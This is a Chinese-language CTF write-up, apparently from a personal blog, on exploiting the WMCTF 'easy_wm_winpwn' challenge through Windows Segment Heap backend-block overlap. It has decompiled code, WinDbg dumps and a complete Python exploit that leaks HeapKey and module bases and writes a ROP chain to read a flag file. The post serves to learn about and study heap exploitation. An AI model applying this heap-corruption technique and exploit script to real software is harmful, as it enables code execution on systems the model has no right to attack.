从WMCTF winpwn中学习Segment Heap

本文首发于安全客:https://www.anquanke.com/post/id/253047

比赛的时候没注意,一直把这题当成Nt Heap去做了,最后无功而返,准备等一下官方的writeup学习一下。结果最后没有公布,只能自己再摸索一番了,才发现是个Segment Heap题,由于之前也没有接触过,就比较针对性地学习了一下,同时分享一下解题思路,如果有错误还请批评指正。

题目分析

FrontEndHeapDebugOptions

首先题目提供的附件中有一个start.bat

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\easy_wm_winpwn.exe" /v FrontEndHeapDebugOptions /t REG_DWORD /d 0x8 /f

通过搜索FrontEndHeapDebugOptions,可以找到BlackHat 2016的一个PDF,其中介绍的就是Windows Segment Heap的机制,本文也是从学习这个PDF而来的。

其中对于FrontEndHeapDebugOptions有解释:

FrontEndHeapDebugOptions

这说明这题不是Nt Heap,而是Segment Heap,两种Heap差别还是很大的。至于如何分辨这个Heap是Nt Heap还是Segment Heap,则可通过windbg调试确定:

Segment Heap

主要逻辑

程序的逻辑并不复杂,只是套了许多小菜单,总的来说还是可以视为传统的菜单题。

简单来说,程序的功能就是注册用户,然后以某个用户的身份进行打怪的游戏,胜利之后可以进入到堆内存的操作逻辑。

其中,User management的菜单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 management()
{
__int64 result; // rax
unsigned int var14[5]; // [rsp+24h] [rbp-14h]

while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("=========================");
puts("1.Create user");
puts("2.Show user information");
puts("3.Edit user name");
puts("4.ret");
puts("=========================");
puts("Your choice: ");
scanf("%d", var14);
getchar();
result = var14[0];
if ( var14[0] != 1 )
break;
create();
}
if ( var14[0] != 2 )
break;
show();
}
if ( var14[0] != 3 )
break;
edit();
}
if ( var14[0] == 4 )
break;
puts("Invalid choice");
}
return result;
}

相关的user结构体我们定义为:

1
2
3
4
5
6
7
8
9
struct user
{
int id;
char name[80];
char is_vip;
int score;
int age;
int hurt;
};

这个菜单中的漏洞是edit的时候引入了off by one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int edit()
{
int result; // eax
char v1; // [rsp+20h] [rbp-18h]
int v2; // [rsp+24h] [rbp-14h] BYREF
int i; // [rsp+28h] [rbp-10h]

puts("Please enter user id:");
scanf("%d", &v2);
getchar();
if ( v2 > 3 || v2 < 0 || v2 > max_id )
{
puts("Invalid id");
exit(0);
}
result = puts("Please enter username:");
for ( i = 0; i <= 0x50; ++i )
{
v1 = getchar();
result = v1;
if ( v1 == 10 )
break;
users[v2].name[i] = v1;
result = i + 1;
}
return result;
}

所以可以通过name溢出到is_vip这个标志。

其次,一个没有在打印出来的菜单中显示出来的功能case 202108

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int bonus()
{
_QWORD rax5; // rax
int result; // eax
int var18; // [rsp+20h] [rbp-18h]
int var14[5]; // [rsp+24h] [rbp-14h]

puts("Please enter user id:");
scanf("%d", &var18);
getchar();
if ( var18 > 3 || var18 < 0 || var18 > max_id )
{
puts("Invalid id");
exit(0);
}
LODWORD(rax5) = (unsigned __int8)users[var18].is_vip;
if ( users[var18].is_vip )
{
var14[0] = 0;
scanf("%d", var14);
LODWORD(rax5) = getchar();
if ( var14[0] < 100 )
{
rax5 = 100i64 * var18;
users[rax5 / 0x64].hurt = var14[0];
}
}
return rax5;
}

这里发现只要is_vip != 0,就可以编辑user.hurt的值,配合上面的edit,我们就可以设置hurt为任意小于100的值,不难注意到可以是负数。

另外,buy功能提供了一个比较奇怪的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __fastcall buy()
{
int var18[6]; // [rsp+20h] [rbp-18h]

puts("Please enter user id:");
scanf("%d", var18);
getchar();
if ( var18[0] > 3u || var18[0] > (unsigned int)max_id )
{
puts("Invalid id");
exit(0);
}
if ( users[var18[0]].score > 0x98967Fu && !used )
{
used = 1;
puts("You can get a huge gift because you defeated the monster");
scanf("%d", var18);
getchar();
if ( var18[0] )
{
if ( var18[0] < 0x500u )
*(_QWORD *)(ptr - (unsigned int)(8 * var18[0])) = read_ll();
}
}
}

就是在user.score > 0x98967F的时候,允许对ptr指向的位置进行上溢的修改操作,但只有一次机会。

之后就是主题部分,game的逻辑了:

1
2
3
4
5
6
puts("========  Arena  =========");
puts("1.Attack a L1near Monster");
puts("2.Improve combat effectiveness");
puts("3.Glory wall");
puts("4.ret");
puts("=========================");

这部分也比较简单,攻击的时候,只要user.hurt > rand() % 1000即可,且这里是无符号比较,只要利用上面的编辑hurt的功能修改为负数即可。

这样满足条件之后,就能提供三种tip使用,这里定义tip的结构体如下:

1
2
3
4
5
6
7
8
struct tip
{
int user_id;
glory *glory;
__int64 secret;
int type;
char not_in_wall;
};

结合Glory Wall的逻辑,这三种tip分别用途不同:

  • tip1:只能做任意大小(0x20 ~ 0x80500)的HeapAllocHeapFree(私有堆)。

  • tip2:只能做固定大小(0x20 和 0x20000)的HeapAllocHeapFree,且只能对0x20000的块进行edit以及show

  • tip3:在idx = 0的时候,故意引入了一个除以0的异常:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    else if ( v4 == 3 && tip3_unused == 1 )
    {
    Destination = (char *)HeapAlloc(hHeap, 8u, 0x100ui64);
    tips[idx].glory = (glory *)Destination;
    tips[idx].type = 3;
    tips[idx].user_id = a1;
    tips[idx].not_in_wall = 1;
    tips[idx].secret = (__int64)tips[idx].glory ^ 0x1A1A2B2B3C3C4D4Di64;
    strncpy(Destination, "You are a hero", 0x10ui64);
    v9 = 100 / idx++;
    tip3_unused = 0;
    }

    相应的异常处理函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    .text:00007FF6A2C72036 loc_7FF6A2C72036:                       ; DATA XREF: .rdata:00007FF6A2C75150↓o
    .text:00007FF6A2C72036 ; __except(loc_7FF6A2C73BD0) // owned by 7FF6A2C71F39
    .text:00007FF6A2C72036 mov eax, 20h ; ' '
    .text:00007FF6A2C7203B imul rax, 0
    .text:00007FF6A2C7203F lea rcx, tips
    .text:00007FF6A2C72046 mov rax, [rcx+rax+8]
    .text:00007FF6A2C7204B mov cs:ptr, rax
    .text:00007FF6A2C72052 mov eax, cs:idx
    .text:00007FF6A2C72058 inc eax
    .text:00007FF6A2C7205A mov cs:idx, eax
    .text:00007FF6A2C72060 jmp short loc_7FF6A2C7206F

    可以看出来是进行一个赋值操作ptr = tip.glory,这里就可以看出buy功能对ptr指向的位置进行上溢编辑的作用了。

    Improve combat effectiveness这部分,就是提供一个设置score为负数的机会:

    1
    2
    3
    4
    5
    6
    7
    scanf("%d", &v2);
    getchar();
    if ( v2 && users[a1].score > 0 && (unsigned int)(v2 - 1) <= users[a1].score )
    {
    users[a1].score -= v2;
    users[a1].hurt += v2;
    }

    可以看到在score > 0v2 = score + 1的情况下,结果是score = -1,而buy功能里if ( users[var18[0]].score > 0x98967Fu && !used )同样是无符号比较,从而满足了条件。

菜单总结

这样,整个菜单我们就可以串起来了:

  1. 首先,创建一个user,在编辑user.name的时候,利用off by one设置user.is_vip,解锁case 202108功能,从而实现编辑user.hurt的值,使其满足user.hurt > 0x1000u
  2. 然后在进入game中,利用attack功能,创建tip3,触发除以0的异常处理逻辑,完成对全局变量ptr的赋值,使ptr = tips[0].glory
  3. 之后利用improve功能,设置user.score = -1,解锁buy功能,提供一次上溢修改8 bytes的功能。
  4. 最后再结合tip1和tip2实现Segment Heap的利用。

解题过程

由于Segment Heap的机制比较复杂,内容较多,而本篇注重于解winpwn这道题,所以只会选择性地挑选重要的部分加以解释补充,如果有不正确的地方还望指正。

Segment Heap的空间分配框架

首先我们需要了解一下Segment Heap分配空间的整体框架:

Segment Heap Framework

结合这道题目,我们只关注Backend的部分,即size <= 508 KB的逻辑;此外,由于解题过程中并没有涉及到LFH(LowFragmentHeap)的逻辑,这里也不会有所涉及,只会关注于VS(Variable Size Allocation)的部分。

申请内存空间

首先在最开始的时候:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HANDLE init_buf()
{
FILE *v0; // rax
FILE *v1; // rax
FILE *v2; // rax
HANDLE result; // rax

v0 = _acrt_iob_func(1u);
setvbuf(v0, 0i64, 4, 0i64);
v1 = _acrt_iob_func(0);
setvbuf(v1, 0i64, 4, 0i64);
v2 = _acrt_iob_func(2u);
setvbuf(v2, 0i64, 4, 0i64);
result = HeapCreate(2u, 0i64, 0i64);
hHeap = result;
return result;
}

程序调用HeapCreate创建了一个私有Heap。

在这个Heap的开头,存放着管理这整个Heap的结构体_SEGMENT_HEAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
0:004> dt _SEGMENT_HEAP
ntdll!_SEGMENT_HEAP
+0x000 EnvHandle : RTL_HP_ENV_HANDLE
+0x010 Signature : Uint4B
+0x014 GlobalFlags : Uint4B
+0x018 Interceptor : Uint4B
+0x01c ProcessHeapListIndex : Uint2B
+0x01e AllocatedFromMetadata : Pos 0, 1 Bit
+0x020 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA
+0x020 ReservedMustBeZero1 : Uint8B
+0x028 UserContext : Ptr64 Void
+0x030 ReservedMustBeZero2 : Uint8B
+0x038 Spare : Ptr64 Void
+0x040 LargeMetadataLock : Uint8B
+0x048 LargeAllocMetadata : _RTL_RB_TREE
+0x058 LargeReservedPages : Uint8B
+0x060 LargeCommittedPages : Uint8B
+0x068 StackTraceInitVar : _RTL_RUN_ONCE
+0x080 MemStats : _HEAP_RUNTIME_MEMORY_STATS
+0x0d8 GlobalLockCount : Uint2B
+0x0dc GlobalLockOwner : Uint4B
+0x0e0 ContextExtendLock : Uint8B
+0x0e8 AllocatedBase : Ptr64 UChar
+0x0f0 UncommittedBase : Ptr64 UChar
+0x0f8 ReservedLimit : Ptr64 UChar
+0x100 SegContexts : [2] _HEAP_SEG_CONTEXT
+0x280 VsContext : _HEAP_VS_CONTEXT
+0x340 LfhContext : _HEAP_LFH_CONTEXT

0:000> dt _HEAP_SEG_CONTEXT
ntdll!_HEAP_SEG_CONTEXT
+0x000 SegmentMask : Uint8B
+0x008 UnitShift : UChar
+0x009 PagesPerUnitShift : UChar
+0x00a FirstDescriptorIndex : UChar
+0x00b CachedCommitSoftShift : UChar
+0x00c CachedCommitHighShift : UChar
+0x00d Flags : <anonymous-tag>
+0x010 MaxAllocationSize : Uint4B
+0x014 OlpStatsOffset : Int2B
+0x016 MemStatsOffset : Int2B
+0x018 LfhContext : Ptr64 Void
+0x020 VsContext : Ptr64 Void
+0x028 EnvHandle : RTL_HP_ENV_HANDLE
+0x038 Heap : Ptr64 Void
+0x040 SegmentLock : Uint8B
+0x048 SegmentListHead : _LIST_ENTRY
+0x058 SegmentCount : Uint8B
+0x060 FreePageRanges : _RTL_RB_TREE
+0x070 FreeSegmentListLock : Uint8B
+0x078 FreeSegmentList : [2] _SINGLE_LIST_ENTRY

(这里的结构体和PDF中的描述的结构体有些不太一样,其中有些成员被放在了+0x100 SegContexts中)。

其中_SEGMENT_HEAP.SegContexts.SegmentListHead是一个双向链表节点,将所有的Segment都链起来,因为本题只涉及一个Segment,所以这里可以定位到Segment的位置。

Segment

在没有进行任何进一步的内存申请操作时,这个_SEGMENT_HEAP.SegContexts.SegmentListHead指向本身。

而在我们进入game逻辑,进行了内存分配(比如申请tip3)的时候,首先就会初始化一个Segment结构。

而对于每个Segment,其内存布局如下:

Segment Layout

每个Segment开头都是一个_HEAP_PAGE_SEGMENT结构体:

1
2
3
4
5
6
7
0:004> dt _HEAP_PAGE_SEGMENT
ntdll!_HEAP_PAGE_SEGMENT
+0x000 ListEntry : _LIST_ENTRY
+0x010 Signature : Uint8B
+0x018 SegmentCommitState : Ptr64 _HEAP_SEGMENT_MGR_COMMIT_STATE
+0x020 UnusedWatermark : UChar
+0x000 DescArray : [256] _HEAP_PAGE_RANGE_DESCRIPTOR

其中这DescArray[2:255]就是管理0x2000偏移开始的254个page的metadata。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:000> dt _HEAP_PAGE_RANGE_DESCRIPTOR
ntdll!_HEAP_PAGE_RANGE_DESCRIPTOR
+0x000 TreeNode : _RTL_BALANCED_NODE
+0x000 TreeSignature : Uint4B
+0x004 UnusedBytes : Uint4B
+0x008 ExtraPresent : Pos 0, 1 Bit
+0x008 Spare0 : Pos 1, 15 Bits
+0x018 RangeFlags : UChar
+0x019 CommittedPageCount : UChar
+0x01a Spare : Uint2B
+0x01c Key : _HEAP_DESCRIPTOR_KEY
+0x01c Align : [3] UChar
+0x01f UnitOffset : UChar
+0x01f UnitSize : UChar

之后针对这个Destination = (char *)HeapAlloc(hHeap, 8u, 0x100ui64);,即申请0x100的内存空间的操作,会进行VS SubSegment Allocation,也就是说要初始化一个VS SubSegment。

于是会触发Backend Allocation,从这个Segment中申请出一个Backend Block作为VS SubSegment使用,在实际调试过程中可以观察到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:004> dt _HEAP_PAGE_RANGE_DESCRIPTOR 0x23958f00000+40
ntdll!_HEAP_PAGE_RANGE_DESCRIPTOR
+0x000 TreeNode : _RTL_BALANCED_NODE
+0x000 TreeSignature : 0xccddccdd
+0x004 UnusedBytes : 0x1000
+0x008 ExtraPresent : 0y0
+0x008 Spare0 : 0y000000000000000 (0)
+0x018 RangeFlags : 0xf ''
+0x019 CommittedPageCount : 0x1 ''
+0x01a Spare : 0
+0x01c Key : _HEAP_DESCRIPTOR_KEY
+0x01c Align : [3] "???"
+0x01f UnitOffset : 0x11 ''
+0x01f UnitSize : 0x11 ''
  • DescArray[2].UnitSize = 0x11表明该Backend Block由11个page构成(大小为0x11000),其中前10个page作为VS SubSegment的空间(0x10000),剩下的1个page是guard page,用来防止堆溢出影响到该VS SubSegment后面的内容:

Guard Page

  • DescArray[2].Rangeflags = 0xf是标志位(表示,各个bit表示:
    • 0x01:表示Allocated。
    • 0x02:表示该DescArray是连续的descriptors的首个
    • 0x08:表示该Backend block用于LFH subsegment。
    • 0x0C:表示该Backend block用于VS subsegment。

这样,在偏移0x2000 ~ 0x12000的这部分内存就是VS subsegment(不包括guard page),它开头的位置是一个_HEAP_VS_SUBSEGMENT的管理结构体,紧接着后面就是VS block,将分配给用户使用:

1
2
3
4
5
6
7
8
0:004> dt _HEAP_VS_SUBSEGMENT
ntdll!_HEAP_VS_SUBSEGMENT
+0x000 ListEntry : _LIST_ENTRY
+0x010 CommitBitmap : Uint8B
+0x018 CommitLock : Uint8B
+0x020 Size : Uint2B
+0x022 Signature : Pos 0, 15 Bits
+0x022 FullCommit : Pos 15, 1 Bit

VS Subsegment

需要注意的是,每个VS Block的前0x20个字节是头部的metadata,从0x20开始才是分配给用户使用的区域,所以第一申请得到的内存地址为Segment + 0x2000 + 0x30 + 0x20的位置。

接下来,如果继续调用attack然后申请tip2,触发HeapAlloc(hHeap, 8u, 0x20000ui64),即申请0x20000的内存时,由于实际会申请0x20000 + 0x10(加个header)的空间,它将不会触发VS Allocation的分配机制而时使用Backend Allocation进行分配,拿出连续的page当作内存空间返回给用户使用。

具体地,就是从剩下的DescArray[0x13:0xFF]的整块空间中,切割出DescArray[0x13:0x33]管理的这0x21个page(偏移0x13000 ~ 0x34000)出来使用。

Backend Allocation对空闲内存的管理

这题的关键就在于,在Backend Allocation中,有一个关键的字段,即_HEAP_PAGE_RANGE_DESCRIPTOR.UnitSize,(这里的_HEAP_PAGE_RANGE_DESCRIPTOR指的是首个)。

它表示当前的Backend block有多少的空闲的page,即表明了有多少空闲的空间可以被分配出去。

存在多个Freed的Backend block的情况下,它们则用红黑树进行组织,但这里不对细节进行描述,只需要知道在正常情况下,Backend Allocation采用Best-Fit的方式,即找到满足大小的最小Backend block进行切割(如果有必要切割)分配。

可行的利用方式

结合以上简单的了解,围绕这道题,我们可以设计出一个可能的利用场景——伪造_HEAP_PAGE_RANGE_DESCRIPTOR.UnitSize造成Backend block的overlap。

此外由于VS Subsegment也来自于Backend block,这样可以通过Backend block overlap达到对VS Subsegment整个结构的完全控制,或者更简单点,就能达到对VS block的二次分配:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                       +---------------+
| ....... |
+---------------+
+--| Page 0x02 |-------------------------+
| +---------------+ |
Backend block 0 <--+ | ....... | |
| +---------------+ |
+--| Page 0x22 | |
+---------------+ +--> Fake Backend block 0
+--| Page 0x23 |--+ | (overlap Backend block 1)
| +---------------+ | |
Backend block 1 <--+ | ....... | +--> VS Subsegment |
| +---------------+ | |
+--| Page 0x34 |--+----------------------+
+---------------+
| ....... |
+---------------+

利用思路

  1. 首先完成“菜单总结”部分的步骤,此时Segment Heap的各种结构已经完成初始化。

  2. 利用tip1(tips[1])的任意大小内存空间分配,分配0xfe90大小的空间,将VS block用尽。

  3. 再次利用tip1(tips[2]),分配0x20000大小的空间,触发Backend Allocation(记为Backend block 1)。

  4. 利用tip2(tips[3]),此时首先会分配0x20的空间,由于之前分配的VS block已经用尽,从而这次申请内存(< 0x20000)时,触发Backend Allocation(记为Backend block 2,与Backend block 1连续)分配内存给VS Subsegment。

    于是这个0x20的内存空间将落在Backend block 2中,Backend block 1之后。

    之后再分配0x20000的空间,该地址会存放在上面提到的0x20的结构体中。

  5. 释放Backend block 1,并利用buy功能,修改DescArray[0x13].UnitSize,构造Backend block overlap,使得原Backend block 1 overlap Backend block 2。

  6. 利用tip1(tips[5]),分配0x20000大小的空间,切割Backend block 1,剩下的部分正好和Backend block 2重合。

  7. 利用tip2(tips[6]),VS Allocation正常分配第一个0x20的内存空间,而可编辑的0x20000的内存空间将通过Backend Allocation拿到Backend block 2的地址。

  8. 于是由于tips[6].glory->buf指向的地址空间正好位于VS Subsegment处,且tips[3].glorytips[6].glory结构体也落在VS block的地方,那么通过编辑tips[6].glory->buf然后show就能打印出上面的Heap地址(由于HeapAlloc传入的dwFlags = 8,申请出来的内存内容会清空,但是由于tips[6].glory是申请完再写入的,会被保留);再根据这个Heap地址即可计算出该Segment的基址。

  9. 同时,通过编辑tips[6].glory->buf指向的内存空间,就可以完全控制tips[3].glory结构体,包括其中的tips[3].glory->buf指针;但是由于tips[3].glory->encoding = 0x1a1a2b2b3c3c4d4d,而\x1a字符在Windows的字符流输入模式下相当于EOF,因此无法读入,故在对tips[3].glory->buf进行edit的时候只能一次只能写0x10 bytes,不过影响不大。

  10. 这样,我们就能通过tips[3]tips[6]构造出任意地址读的原语。

  11. 通过任意地址读,读取任意一个VS block的header,该header的前8 bytes是encode过的,具体通过:

    1
    header = header ^ HeapKey ^ block_addr

    计算得出,同样的通过encode过的header,由于原header和block_addr都是已知的,可以反推出HeapKey的值(可以在调试过程中,读取ntdll!RtlpHpHeapGlobals结构体中的HeapKey进行验证,这是一个_RTLP_HP_HEAP_GLOBALS结构体)。

  12. 之后通过前面leak出来的Segment的地址,读出_HEAP_PAGE_SEGMENT.ListEntry.Flink(指向_SEGMENT_HEAP.SegContexts.SegmentListHeap),从而计算出这个私有Segment Heap的首地址。

  13. 再leak出_SEGMENT_HEAP.SegContexts.Callbacks.Allocate指针,其值为encode过的ntdll!RtlpHpVsContextAllocate值,其算法为:

    1
    _SEGMENT_HEAP.SegContexts.Callbacks.Allocate = ntdll!RtlpHpVsContextAllocate ^ HeapKey ^ &_SEGMENT_HEAP.SegContexts

    由于HeapKey已经计算出来了,所以只要根据encode的值推算出ntdll!RtlpHpVsContextAllocate的值即可,从而计算出ntdll的基地址。

  14. 之后就是常规套路了,通过ntdll!PebLdr - 0x78处的PEB相关地址,leak出PEB的地址,并且由于PEB和TEB的地址偏移固定,故可以leak出TEB的地址;此外还能读取PEB上存放的program base值,再通过程序IAT表中的导入函数,得到各个有需要的dll的基址即可;此外读取TEB中的Stack Base准备爆破game函数函数栈位置。

  15. 最后在game的返回地址处写ROP进行ORW(这里尝试直接执行system("cmd.exe")无法getshell,原因不明),且需要注意的是,与Linux下的用户态程序相比,Windows的栈行为有些不同:

Windows call stack

从这张图中可以看出,作为调用者的Function A,其还会保留0x20 bytes的空间,供被调用的Function B存放四个参数寄存器RCX RDX R8 R9;也就是说,我们不能像在Linux下一样布置ROP,而要考虑到这部分`register parameter stack area`的空间会被破坏。
  1. 然后退出game,触发ROP读flag即可。

补充

由于我个人也没有完全搞清楚整个Segment Heap的机制,仅是在针对WMCTF winpwn这道题的情况下进行了部分的分析,整个过程也学习到了很多,但仍有许多细节没有弄清楚。原PDF分析得十分清楚,还需要深入地学习。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
from winpwn import *
import sys

context.log_level = 'debug'
context.arch = 'amd64'

p = process("./easy_wm_winpwn.exe")

if len(sys.argv) == 2 and sys.argv[1] == '1':
windbgx.attach(p)

def choose(choice):
p.sendlineafter("Your choice: ", str(choice))

def enter_game(id):
choose(1)
p.sendlineafter("Please enter user id:", str(id))

def exit_game():
choose(4)

def attack(tip, size=0):
choose(1)
choose(tip)
if tip == 1:
p.sendlineafter("Acquired size: ", str(size))

def improve(val):
choose(2)
p.sendline(str(val))

def show_wall(idx):
choose(3)
choose(1)
p.sendlineafter("plz:", str(idx))

def edit_wall(idx, content):
choose(3)
choose(2)
p.sendlineafter("plz:", str(idx))
p.send(content)

def delete_wall(idx):
choose(3)
choose(3)
p.sendlineafter("plz:", str(idx))

def enter_manage():
choose(2)

def exit_manage():
choose(4)

def create_user(name, age):
choose(1)
p.sendafter("Please enter username:", name)
p.sendlineafter("Please enter age:", str(age))

def show_user(id):
choose(2)
p.sendlineafter("Please enter user id:", str(id))

def edit_user(id, name):
choose(3)
p.sendlineafter("Please enter user id:", str(id))
p.sendafter("Please enter username:", name)

def buy(id, offset, val):
choose(3)
p.sendlineafter("Please enter user id:", str(id))
p.sendlineafter("You can get a huge gift because you defeated the monster", str(offset))
p.sendline(str(val))

def bonus(id, val):
choose(0x3157C)
p.sendlineafter("Please enter user id:", str(id))
p.sendline(str(val))

def verify(id):
enter_manage()
show_user(id)
exit_manage()

def arbitrary_read(addr):
payload = "A" * 0x48 + p64(addr)
edit_wall(6, payload)
show_wall(3)
p.recvuntil("Content: ")
return u64(p.recvuntil('\r\n')[:-2][:8].ljust(8, "\x00"))

def arbitrary_write(addr, val):
payload = "A" * 0x48 + p64(addr)
edit_wall(6, payload)
edit_wall(3, val)

# off by one, change is_vip
enter_manage()
create_user("AAA\n", 0)
edit_user(0, "A" * 0x50 + '\x01')
exit_manage()

# use bonus to change hurt to a negative number
bonus(0, 1 << 31)

# verify
verify(0)

# trigger dividing zero exception and make score = -1
enter_game(0)
attack(3)
pause()
improve(2)
exit_game()

# verify
verify(0)

enter_game(0)
attack(1, 0xfe90) # use up
attack(1, 0x20000) # 2
attack(2) # 3 (new vs blocks)
attack(1, 0x20000) # 4 (gap)
improve(4) # make score = -1
delete_wall(2)
exit_game()

# backend block overlap
buy(0, 0x3bb, 0x4204ffff00000002) # change backend block size (overlap)

enter_game(0)
attack(1, 0x20000) # 5
attack(2) # 6 (now overlap done)

# leak heap address
payload = "A" * 0x80
edit_wall(6, payload)
show_wall(6)
p.recvuntil(p64(0x1a1a2b2b3c3c4d4d))
heap_addr = u64(p.recv(6) + "\x00" * 2)

# leak SEGMENT HEAP
res = arbitrary_read(heap_addr - 0x34010)
segment_heap_addr = res - 0x148

# leak and calulate HeapKey (ntdll!RtlpHpHeapGlobals->HeapKey)
res = arbitrary_read(heap_addr - 0x31fe0)
plain_head = 0x100000012000f
heapkey = res ^ (heap_addr - 0x31fe0) ^ plain_head

# leak ntdll base through callbacks
vs_context_addr = segment_heap_addr + 0x280
vs_context_callbacks_addr = vs_context_addr + 0x88
res = arbitrary_read(vs_context_callbacks_addr)
RtlpHpSegVsAllocate_addr = (res ^ vs_context_addr ^ heapkey)
ntdll_base = RtlpHpSegVsAllocate_addr - 0x77440

# leak PEB
pebldr_addr = ntdll_base + 0x16a4c0
peb_addr = arbitrary_read(pebldr_addr - 0x78) - 0x80
teb_addr = peb_addr + 0x1000

# leak program base
prog_base = arbitrary_read(peb_addr + 0x12) << 16

# leak stack base
stack_base = arbitrary_read(teb_addr + 0xa) << 16

# leak ucrtbase base
puts_iat = prog_base + 0x4228
puts_addr = arbitrary_read(puts_iat)
ucrtbase_base = puts_addr - 0x83d50

# leak kernel32 base
heap_create_iat = prog_base + 0x4000
heap_create_addr = arbitrary_read(heap_create_iat)
kernel32_base = heap_create_addr - 0x1ff50

# brute force stack address
game_ret_addr = prog_base + 0x27f1
stack_addr = stack_base - 0x8
while stack_addr > stack_base - 0x3000:
addr = arbitrary_read(stack_addr)
if addr == game_ret_addr:
break
stack_addr -= 8

# write rop
pop_rcx = ucrtbase_base + 0x2aa80
pop_rdx = kernel32_base + 0x24d92
pop_r8 = ntdll_base + 0x7223
pop_4regs = ntdll_base + 0x8c552
open_addr = ucrtbase_base + 0xa5550
read_addr = ucrtbase_base + 0x182a0
# cmd_exe = ucrtbase_base + 0xd0cb0
# system_addr = ucrtbase_base + 0xae5c0
# payload = p64(pop_rcx) + p64(cmd_exe) + p64(pop_rcx + 1) + p64(system_addr)
payload = p64(pop_rcx + 1) + p64(pop_rcx) + p64(stack_addr + 0xd0) + p64(pop_rdx) + p64(0) + p64(open_addr)
payload += p64(pop_4regs) + p64(0) * 4
payload += p64(pop_rcx) + p64(3) + p64(pop_rdx) + p64(heap_addr) + p64(pop_r8) + p64(0x30) + p64(read_addr)
payload += p64(pop_4regs) + p64(0) * 4
payload += p64(pop_rcx) + p64(heap_addr) + p64(puts_addr)
payload += "flag.txt\x00"
arbitrary_write(heap_addr + 0x88, p64(stack_addr))
edit_wall(6, payload)

# trigger rop
exit_game()

print("[+]segment_heap_addr: %s" % hex(segment_heap_addr))
print("[+]heapkey: %s" % hex(heapkey))
print("[+]ntdll_base: %s" % hex(ntdll_base))
print("[+]peb_addr: %s" % hex(peb_addr))
print("[+]teb_addr: %s" % hex(teb_addr))
print("[+]prog_base: %s" % hex(prog_base))
print("[+]stack_base: %s" % hex(stack_base))
print("[+]ucrtbase_base: %s" % hex(ucrtbase_base))
print("[+]kernel32_base: %s" % hex(kernel32_base))
print("[+]stack_addr: %s" % hex(stack_addr))

p.interactive()

相关链接

Author: Nop
Link: https://n0nop.com/2021/09/20/%E4%BB%8EWMCTF-winpwn%E4%B8%AD%E5%AD%A6%E4%B9%A0Segment-Heap/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.